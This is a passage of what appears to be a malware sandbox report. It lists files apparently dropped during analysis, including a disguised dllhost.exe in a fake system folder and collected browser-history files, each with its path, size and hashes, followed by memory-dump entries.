                      • SHA256 b9f6d1cc97e0d46ae884d9a174a89b0a64617f10923f5270e1be2ed4f7f6b209
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 70dfb01ecc999e9b97eec99d8e7e31ab7cfb5e751f366a460b435ee16ac671d3
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 aef8b020212d19e8c6e52e5f91f96126439e9399bc7e0a9ef369ab991df7b2fa
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 bcf8325db72c06bb7f6a8df3c4648a150d766a1857214c6b533c467029424ce8
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 64B
                      • SHA256 92671c154d4e886f999580604f675416003965914ab8435babc0b11290f6a6a4
                      • MD5 SHA1 SHA512
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 262c0c79175443bcf1f6c114f7b5c04bb9c7cde16b0a35a963b1550c9969b393
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 7f3c591a145c4fca0ce8f6ea23b183f310656caa96f78120710019e443d4243a
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 64B
                      • SHA256 bf1aa6ac9ad2aba7c10a908fe04522937f89215eed432273fe494d0b6a827426
                      • MD5 SHA1 SHA512
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 64B
                      • SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
                      • MD5 SHA1 SHA512
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 b7d2ecc082c7fe8d939d3d6a7b128a70e60fd1e65219902359b3042d85f19f60
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      Cuferxwn.zip
                      • Path C:\Users\Admin\AppData\Local\Temp\Cuferxwn.zip
                      • Size 430KB
                      • SHA256 0afd8ba9fba23743f71a6489c0c0da0cf735aa12f83f11d61b96df56a66cbe47
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      Cuferxwn.zip
                      • Path C:\Users\Admin\AppData\Local\Temp\Cuferxwn.zip
                      • Size 429KB
                      • SHA256 03a9147b225fdd7a4627fcc4e9eb175472e5b1bec5b6bbbe744c93c8c0d913d6
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      __PSScriptPolicyTest_2sqwsphy.d10.ps1
                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2sqwsphy.d10.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      dllhost.exe
                      • Path C:\Users\Admin\AppData\Local\Temp\system32os\dllhost.exe
                      • Size 2.1MB
                      • SHA256 d5abe59abf73ed705aa7bba798dc417525aec110f3af48cd01c2074e763b6e21
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      history.json
                      • Path C:\Users\Admin\AppData\Local\Temp\system32os\output\Edge\Default\history.json
                      • Size 126B
                      • SHA256 9713ace4837aa17e9ca20b2d3f2e932b10f3bc684a18e68d09108d104fe417d9
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      history.txt
                      • Path C:\Users\Admin\AppData\Local\Temp\system32os\output\Edge\Default\history.txt
                      • Size 153B
                      • SHA256 de4b89582396a7f5ed64507aba49e8193111a927de18d3208a7943910a5e63d9
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      history.json
                      • Path C:\Users\Admin\AppData\Local\Temp\system32os\output\Firefox\m209tzjd.default-release\history.json
                      • Size 489B
                      • SHA256 50e93456521da9260e9690d50096bc4addcefaeb9fb17c0c45f0bb5e73a3957a
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      history.txt
                      • Path C:\Users\Admin\AppData\Local\Temp\system32os\output\Firefox\m209tzjd.default-release\history.txt
                      • Size 522B
                      • SHA256 6c888875b35893d0eb2b751eebd0242e08c8bab3a8d3a5828419c87212864c8a
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      memory/948-60-0x00000173D6BC0000-0x00000173D6BDE000-memory.dmp
                      Download

                      memory/948-62-0x00000173D6BE0000-0x00000173D6BEA000-memory.dmp
                      Download

                      memory/948-61-0x00000173D6E30000-0x00000173D6EE2000-memory.dmp
                      Download

                      memory/4508-8-0x00007FFE86BA0000-0x00007FFE87544000-memory.dmp
                      Download

                      memory/4508-9-0x00007FFE86BA0000-0x00007FFE87544000-memory.dmp
                      Download

                      memory/4508-12-0x00007FFE86BA0000-0x00007FFE87544000-memory.dmp
                      Download

                      memory/4508-7-0x00007FFE86BA0000-0x00007FFE87544000-memory.dmp
                      Download

                      memory/4508-6-0x00007FFE86BA0000-0x00007FFE87544000-memory.dmp
                      Download

                      memory/4508-5-0x00007FFE86BA0000-0x00007FFE87544000-memory.dmp
                      Download

                      memory/4508-3-0x00007FFE86BA0000-0x00007FFE87544000-memory.dmp
                      Download

                      memory/4508-4-0x0000016A3D4A0000-0x0000016A3D4C2000-memory.dmp
                      Download

                      memory/4508-0-0x00007FFE86D2F000-0x00007FFE86D30000-memory.dmp
                      Download

                      memory/4508-11-0x00007FFE86BA0000-0x00007FFE87544000-memory.dmp
                      Download

                      memory/6132-106-0x000001ECC2730000-0x000001ECC2780000-memory.dmp
                      Download